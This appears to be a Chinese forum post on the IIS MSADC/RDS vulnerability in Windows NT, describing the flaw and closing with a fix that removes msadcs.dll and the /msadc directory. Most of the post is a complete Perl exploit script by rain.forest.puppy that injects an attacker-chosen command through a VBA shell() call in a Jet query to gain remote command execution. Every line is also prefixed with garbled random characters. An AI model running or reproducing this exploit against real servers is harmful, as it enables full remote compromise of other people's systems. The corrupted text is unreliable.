IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
z41D^}b eA1'qww"' 涉及程序:
q{[1fE"[K4 Microsoft NT server
wzg i
@i K` 2i 描述:
16L"^EYq 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
|MVV +.X ig+k[`W 详细:
2G H)iUmc 如果你没有时间读详细内容的话,就删除:
:)j7U3u c:\Program Files\Common Files\System\Msadc\msadcs.dll
JOPTc] 有关的安全问题就没有了。
!#C)99L"F o16d`}/< 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
T:Bzz)2/ KoFv0~8Q 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
? 1GJa]G 关于利用ODBC远程漏洞的描述,请参看:
TX&[;jsj ~6] )*y http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $G)&J2zL ,Io0ZE>`V 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
NWeV>;lh9 http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5%'o%`?i Nz}|%.GP" 这里不再论述。
w{~" ;[@ 1R*1BStc 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
QP'qG@j[: 9OH.&g /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
>}mNi:6xq 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
dWMccn;-m 3Nc'3NPQ' e5QOB/e& #将下面这段保存为txt文件,然后: "perl -x 文件名"
]Kof sU_{ 3Sk5I% #!perl
EkDws`@ #
GpScc'a7 # MSADC/RDS 'usage' (aka exploit) script
wE)]
ah: #
)7tV*=?Ic8 # by rain.forest.puppy
pz.Y=V\t #
coW)_~U| # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
L(W%~UGN
V # beta test and find errors!
LE<:.?<Z- ^kc>m$HY use Socket; use Getopt::Std;
-?[O"D"c getopts("e:vd:h:XR", \%args);
6^WiZ^~ iOKr9%9?Z print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
y/z9Ce*> p!C_:Z5i if (!defined $args{h} && !defined $args{R}) {
xP XoJN print qq~
{`($Q$Q1 Usage: msadc.pl -h <host> { -d <delay> -X -v }
QziN] -h <host> = host you want to scan (ip or domain)
Y!bpOa& -d <seconds> = delay between calls, default 1 second
3/SfUfWo -X = dump Index Server path table, if available
KsZ@kTs -v = verbose
C3]\$ -e = external dictionary file for step 5
}klE0<W|5\ N `J:^,H Or a -R will resume a command session
L00Sp#$\ 2*N&q|ED ~; exit;}
ys:1Z\$P <WO&$& $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
?a*fy}A| if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
zw}@nqp if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
cb\jrbj6 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
#($k 3OA $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+oE7~64LL if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
5w]DncdQ~ &19lk if (!defined $args{R}){ $ret = &has_msadc;
LZgwIMd die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
y>DfM5> l~`txe print "Please type the NT commandline you want to run (cmd /c assumed):\n"
K(%dcUGDK> . "cmd /c ";
+ 8MW$ m$ $in=<STDIN>; chomp $in;
+8L(pMI4 $command="cmd /c " . $in ;
NEjPU#@c :(5]Z^ if (defined $args{R}) {&load; exit;}
er&uC4Y]a
JsZAP print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%@M00~- &try_btcustmr;
AGw1Pl8]K EGp~Vo- print "\nStep 2: Trying to make our own DSN...";
)6O\WB| &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
nXx6L!H J# p~,a= print "\nStep 3: Trying known DSNs...";
|#Yu.c* &known_dsn;
eD>-`'7< } S'I
DHla print "\nStep 4: Trying known .mdbs...";
U>e3_td3, &known_mdb;
6n2Vx1b _C7abw- if (defined $args{e}){
n's2/9x print "\nStep 5: Trying dictionary of DSN names...";
(OM?aW &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.6lY*LI Y&ct+w]% print "Sorry Charley...maybe next time?\n";
ujI 3tsl exit;
oO! 1 (mD-FR@# ##############################################################################
/\IAr,w[ x!Z:K5%O sub sendraw { # ripped and modded from whisker
F{a0X0ru~ sleep($delay); # it's a DoS on the server! At least on mine...
GC5#1+fQ my ($pstr)=@_;
U89]?^|bb socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:F!dTD$ die("Socket problems\n");
EM>c%BH<N if(connect(S,pack "SnA4x8",2,80,$target)){
eONeWY9 select(S); $|=1;
.y/NudD print $pstr; my @in=<S>;
V0SW 5
m select(STDOUT); close(S);
=)"NE> return @in;
|TQedC } else { die("Can't connect...\n"); }}
3&drof\{ -s?dzX ##############################################################################
>/*?4 CSd9\V sub make_header { # make the HTTP request
~:P8g<w
my $msadc=<<EOT
Pj1K POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
=]5DYRhX] User-Agent: ACTIVEDATA
lx A<iQia Host: $ip
S0Rf>Eo4 Content-Length: $clen
7?n*t Connection: Keep-Alive
(hRgYwUa< 89:?.' ADCClientVersion:01.06
mVc'%cPaw Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
e)ZyTuj } kh/mq --!ADM!ROX!YOUR!WORLD!
+O.&64( Content-Type: application/x-varg
Egjk^:@ Content-Length: $reqlen
9TbS>o :FKYYH\ EOT
thlpj*| ; $msadc=~s/\n/\r\n/g;
SoXX}<~E4 return $msadc;}
~P"!DaAf B BApL{ ##############################################################################
hy!'Q>[` =
C$@DNEc sub make_req { # make the RDS request
,oB k> my ($switch, $p1, $p2)=@_;
110>p my $req=""; my $t1, $t2, $query, $dsn;
~vjr;a(B .yFg$|y G if ($switch==1){ # this is the btcustmr.mdb query
E,ZB;
$query="Select * from Customers where City=" . make_shell();
Mo/2,DiI5 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
"df13U" $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
(>+k 3 5tgILxSK elsif ($switch==2){ # this is general make table query
Hb@G*L$ $query="create table AZZ (B int, C varchar(10))";
4$q)e<- $dsn="$p1";}
_x,-d|9bd }]n>A elsif ($switch==3){ # this is general exploit table query
lD;,I^Lt6 $query="select * from AZZ where C=" . make_shell();
x|,aV=$o $dsn="$p1";}
`ykMh>*{ C-:SQf elsif ($switch==4){ # attempt to hork file info from index server
1O'* X $query="select path from scope()";
Nw3I $dsn="Provider=MSIDXS;";}
mvL0F%\.\ +s*l#'Q elsif ($switch==5){ # bad query
"t%1@b*u $query="select";
CL<KBmW7 $dsn="$p1";}
,XBV }y jr#g>7yM $t1= make_unicode($query);
c9ov;Bw6S $t2= make_unicode($dsn);
Q'Q72Fg $req = "\x02\x00\x03\x00";
q.,p6D $req.= "\x08\x00" . pack ("S1", length($t1));
\/x)BE, $req.= "\x00\x00" . $t1 ;
6ljRV) $req.= "\x08\x00" . pack ("S1", length($t2));
*k@0:a(> $req.= "\x00\x00" . $t2 ;
0]2B-o"kI $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
HhY2`P8 return $req;}
;f ;*Q>! p.TiTFu/ ##############################################################################
yTq(x4] kj<D 4) sub make_shell { # this makes the shell() statement
iEJQ#5))0 return "'|shell(\"$command\")|'";}
wCC~tuTpr :)+@qxTy ##############################################################################
)kY_"= d 23u1nU[0 sub make_unicode { # quick little function to convert to unicode
BhE~k?$9 my ($in)=@_; my $out;
# 1qVFU for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
D?*sdm9r` return $out;}
wTMHoU*> b0z{"
##############################################################################
eB/hyC1 W_f"Gk sub rdo_success { # checks for RDO return success (this is kludge)
"6*Kgf2G my (@in) = @_; my $base=content_start(@in);
qqom$H< if($in[$base]=~/multipart\/mixed/){
"ZJ1`R=Mj return 1 if( $in[$base+10]=~/^\x09\x00/ );}
J:mu%N` return 0;}
hiK[!9r 1VyO?KX' ##############################################################################
G4iLCcjY n%MYX'0 sub make_dsn { # this makes a DSN for us
!EmR (x my @drives=("c","d","e","f");
\dxW44sM print "\nMaking DSN: ";
pD}VB6= foreach $drive (@drives) {
.5[LQR print "$drive: ";
! MF"e|W my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
[;V1y`/K1 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Er)_[^)
HG . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
yY@s(: $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
,0<F3h return 0 if $2 eq "404"; # not found/doesn't exist
X?}GPA4 W if($2 eq "200") {
$vbAcWj foreach $line (@results) {
BqEubP(si return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
<cfH'~ } return 0;}
J!K/7uS W1vAK ##############################################################################
XpAq=p0; Z\gg<Q sub verify_exists {
\,cKt_{ u my ($page)=@_;
j@?[vi my @results=sendraw("GET $page HTTP/1.0\n\n");
M@2Qn-I return $results[0];}
RzY`^A6G6 84oW ##############################################################################
o|*| m9<[bEO<$ sub try_btcustmr {
7s fuju( my @drives=("c","d","e","f");
9bcyPN my @dirs=("winnt","winnt35","winnt351","win","windows");
E[Ws} n. fF-\TW foreach $dir (@dirs) {
M?4r 5R print "$dir -> "; # fun status so you can see progress
j+B5m:ExfI foreach $drive (@drives) {
6quWO2x print "$drive: "; # ditto
D@b<}J>0' $reqlen=length( make_req(1,$drive,$dir) ) - 28;
T~~$=vP9 $reqlenlen=length( "$reqlen" );
`Py=
?[cD $clen= 206 + $reqlenlen + $reqlen;
@01D1A ?D^,K`wY=B my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Xx<&6
4W if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
uA/.4 b else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
*ZSp9g"Z u+tb83~[= ##############################################################################
uSQ>oi] :mtw}H 'F8 sub odbc_error {
t>h
i$NX{p my (@in)=@_; my $base;
=|JIY my $base = content_start(@in);
]{6yS9_tuI if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Q}f}Jf3P $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
N5an9r&z(1 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(7jB_ p% $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$I6eHjYT return $in[$base+4].$in[$base+5].$in[$base+6];}
io33+/ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
GqD!W8+ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Lvj5<4h; $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
m<'xlF Md?bAMnG+} ##############################################################################
_kY[8e5 dV=5_wXZ$ sub verbose {
-S3+
h$Y8 my ($in)=@_;
>8fz ?A return if !$verbose;
tDLk ZCP print STDOUT "\n$in\n";}
Qx,$)|_ 3(GrDO9^ ##############################################################################
yjFQk,A
2:5gMt sub save {
\/4%[Q2QDm my ($p1, $p2, $p3, $p4)=@_;
S{)n0/_ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
>]Yha}6h print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
A%w]~ chC9 close OUT;}
}:D~yEP Z
a1|fB ##############################################################################
gsR9M%mv y=qo-v59' sub load {
n]fbV/ x my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
5eSTT#[+R open(IN,"<rds.save") || die("Couldn't open rds.save\n");
&@iF!D\u @p=<IN>; close(IN);
@SG="L $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
8\.1m9&r>o $target= inet_aton($ip) || die("inet_aton problems");
\lakT_x print "Resuming to $ip ...";
&?Z)V-1H $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
2GKU9cV*` if($p[1]==1) {
-hR\Y2? $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
~q|e];tA $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
<W%Z_d&Xv my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
xv% USm if (rdo_success(@results)){print "Success!\n";}
)W6-h else { print "failed\n"; verbose(odbc_error(@results));}}
:E&T}RN elsif ($p[1]==3){
MH8%-UV if(run_query("$p[3]")){
Z#t)Z " print "Success!\n";} else { print "failed\n"; }}
<J}9.k elsif ($p[1]==4){
|QTqa~~B if(run_query($drvst . "$p[3]")){
8EEQV} 4 print "Success!\n"; } else { print "failed\n"; }}
59Q Q_#> exit;}
zUtf&Ih o3=S<|V ##############################################################################
t\bxd`, m;+1;B sub create_table {
9}0Jc(B/x my ($in)=@_;
"/Q(UV<d $reqlen=length( make_req(2,$in,"") ) - 28;
z==}~|5 $reqlenlen=length( "$reqlen" );
yxUVM`.~ $clen= 206 + $reqlenlen + $reqlen;
!=:MG#p my @results=sendraw(make_header() . make_req(2,$in,""));
<H@!Xw; return 1 if rdo_success(@results);
x&/Syb my $temp= odbc_error(@results); verbose($temp);
$,zM99 return 1 if $temp=~/Table 'AZZ' already exists/;
O8N0 ]Mz return 0;}
5{/Pn%5 e27CbA{_w ##############################################################################
$#JVI: *]{I\rX sub known_dsn {
f#Cdx" # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
<\>ak7m my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
`"mK\M "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
%c/"A8{ eb "banner", "banners", "ads", "ADCDemo", "ADCTest");
:O+b4R+ @%G"i:HZ& foreach $dSn (@dsns) {
];~[Olc print ".";
(0m$W< next if (!is_access("DSN=$dSn"));
2LH;d`H[0 if(create_table("DSN=$dSn")){
e.ym7L]$O print "$dSn successful\n";
Wy>\KrA1 if(run_query("DSN=$dSn")){
SA n=9MG print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
zp-~'kIJ print "Something's borked. Use verbose next time\n";}}} print "\n";}
U105u.#7 '"\Mjz)/ ##############################################################################
xWb?i6)z& sl
@6 sub is_access {
.LcE^y[V my ($in)=@_;
'<D}5u72 $reqlen=length( make_req(5,$in,"") ) - 28;
78~V/L;@S2 $reqlenlen=length( "$reqlen" );
poFjhq
/#( $clen= 206 + $reqlenlen + $reqlen;
PxD}j
2Kd my @results=sendraw(make_header() . make_req(5,$in,""));
7.rZ%1N my $temp= odbc_error(@results);
J3S+| x h~ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ayz1i:Q| return 0;}
|/\1nWD $v@$oPmMj ##############################################################################
5nqdY* PlRs-% d sub run_query {
D c.W vUM my ($in)=@_;
j=% -b] $reqlen=length( make_req(3,$in,"") ) - 28;
k#NMD4(%O $reqlenlen=length( "$reqlen" );
cD@lorj $clen= 206 + $reqlenlen + $reqlen;
pdqa)>$ my @results=sendraw(make_header() . make_req(3,$in,""));
aMg f6veM return 1 if rdo_success(@results);
IMrOPwjc my $temp= odbc_error(@results); verbose($temp);
`2,_"9Z( return 0;}
*LdH/C.LIf Awf=yE: ##############################################################################
Z@O
e}\.$ 6v)eM=
sub known_mdb {
^F9zS`Yz2 my @drives=("c","d","e","f","g");
R*eM 1 my @dirs=("winnt","winnt35","winnt351","win","windows");
\JC(pn my $dir, $drive, $mdb;
zn$Ld, my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Jiylrf`o *<QL[qyV # this is sparse, because I don't know of many
9sU,.T my @sysmdbs=( "\\catroot\\icatalog.mdb",
l<_mag/j9o "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
'6J$X- "\\system32\\certmdb.mdb",
Eakjsk "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
n8aiGnd=v
"dOY_@kg my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
HTpd~W/\ "\\cfusion\\cfapps\\forums\\forums_.mdb",
48rYs} "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
D I[^H "\\cfusion\\cfapps\\security\\realm_.mdb",
>(KUYX?p "\\cfusion\\cfapps\\security\\data\\realm.mdb",
1RHH<c%2n "\\cfusion\\database\\cfexamples.mdb",
t1g%o5?; "\\cfusion\\database\\cfsnippets.mdb",
8Kkr1}!wd "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
#|E. y^IC "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
&scD) "\\cfusion\\brighttiger\\database\\cleam.mdb",
2;r^~: "\\cfusion\\database\\smpolicy.mdb",
urjp&L& "\\cfusion\\database\cypress.mdb",
&Sp:?I- "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
RW8u0 ?b "\\website\\cgi-win\\dbsample.mdb",
<{Wa[1D "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
8k'em/M~ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
v~QZO4[' ); #these are just
d}J#wT foreach $drive (@drives) {
wk/U"@lq foreach $dir (@dirs){
A~SSu.L@ foreach $mdb (@sysmdbs) {
)PNk
O3 print ".";
90D.G_45 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
aKr4E3` print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
[c )\?MWW if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
m]pvJJ@ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
<QLj6#d7Y } else { print "Something's borked. Use verbose next time\n"; }}}}}
)@M|YM1+ *9^k^h(r&4 foreach $drive (@drives) {
,1h(k<- foreach $mdb (@mdbs) {
c{ (%+ print ".";
rn*VL(Yd( if(create_table($drv . $drive . $dir . $mdb)){
<WkLwP3^ print "\n" . $drive . $dir . $mdb . " successful\n";
|<icx8hbr if(run_query($drv . $drive . $dir . $mdb)){
vtjG&0GSK print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
,kuOaaV7K } else { print "Something's borked. Use verbose next time\n"; }}}}
e$I:[> }
CMUphS-KE 2mG?ve%m) ##############################################################################
t2<(by! WG4|Jf Y sub hork_idx {
24l9/v' print "\nAttempting to dump Index Server tables...\n";
X)5O@"4 ? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
,aL"Wy( $reqlen=length( make_req(4,"","") ) - 28;
3qZ{yr2N[ $reqlenlen=length( "$reqlen" );
ePdzQsnVe $clen= 206 + $reqlenlen + $reqlen;
Q"uu&JC my @results=sendraw2(make_header() . make_req(4,"",""));
.<hv&t
if (rdo_success(@results)){
Fd'L:A~ my $max=@results; my $c; my %d;
yB[LO(i for($c=19; $c<$max; $c++){
a)b@en;v $results[$c]=~s/\x00//g;
tJ3s#q6 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
]P^ +~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"5bk82." $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$R4\jIewV $d{"$1$2"}="";}
ST.W{:X foreach $c (keys %d){ print "$c\n"; }
6 , ~aV } else {print "Index server doesn't seem to be installed.\n"; }}
K*[wr@)u SNFz#* ##############################################################################
['<rfK " OtLJ sub dsn_dict {
]T`qPIf;yJ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
yKJp37R while(<IN>){
aleIy}" $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
38^_(N next if (!is_access("DSN=$dSn"));
I+SL0 if(create_table("DSN=$dSn")){
J4; ".Y= print "$dSn successful\n";
3ji#"cX if(run_query("DSN=$dSn")){
.>e~J+oL print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
|xOOdy6 )~ print "Something's borked. Use verbose next time\n";}}}
up?8Pq* print "\n"; close(IN);}
;RI,zQ gS ]'^Sr ##############################################################################
dewu@ # L R[6l sub sendraw2 { # ripped and modded from whisker
;.Y`T/eWS sleep($delay); # it's a DoS on the server! At least on mine...
Qn7 e6u@V my ($pstr)=@_;
h2]Od(^[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ub%q<sE* die("Socket problems\n");
&r_B\j3 if(connect(S,pack "SnA4x8",2,80,$target)){
K||85l?< print "Connected. Getting data";
_ev^5`>p/ open(OUT,">raw.out"); my @in;
I/l]Yv! select(S); $|=1; print $pstr;
%JZIg! while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
)_uK(UNZ5 close(OUT); select(STDOUT); close(S); return @in;
Ho/5e*X } else { die("Can't connect...\n"); }}
1/HZY0em vL7}0n>tz ##############################################################################
5+r#]^eQY- Tq+pFEgQ`@ sub content_start { # this will take in the server headers
wP
i=+ my (@in)=@_; my $c;
|(N4x(xl for ($c=1;$c<500;$c++) {
STMcMm3 if($in[$c] =~/^\x0d\x0a/){
%lxo?s@GE if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
01$SvLn: else { return $c+1; }}}
$H}Q"^rs return -1;} # it should never get here actually
<t Nx*ce5 jZGmTtx ##############################################################################
9}-,dgAB +qdK]RR} sub funky {
j:#[voo7 my (@in)=@_; my $error=odbc_error(@in);
uIu0"pv`x if($error=~/ADO could not find the specified provider/){
@`{UiTNX` print "\nServer returned an ADO miscofiguration message\nAborting.\n";
-3Ffk: exit;}
7iJlW&W if($error=~/A Handler is required/){
Kh> ^;`h print "\nServer has custom handler filters (they most likely are patched)\n";
x;I*Ho exit;}
O_033& if($error=~/specified Handler has denied Access/){
V2*b f`/V print "\nServer has custom handler filters (they most likely are patched)\n";
bm^ou#]| exit;}}
C>H UG 4%pvw;r ##############################################################################
*\>7@r[%5 *KMCU
m sub has_msadc {
P*}Oi7Z my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
1/z1~:Il
my $base=content_start(@results);
`@p*1 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
YG% Zw return 0;}
0y(d|;': O/-xkzR* ########################
Y#G '[N> q7;)&_' ,70|I{,Km 解决方案:
.R1)i-^ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
uZNR]+Yu@ 2、移除web 目录: /msadc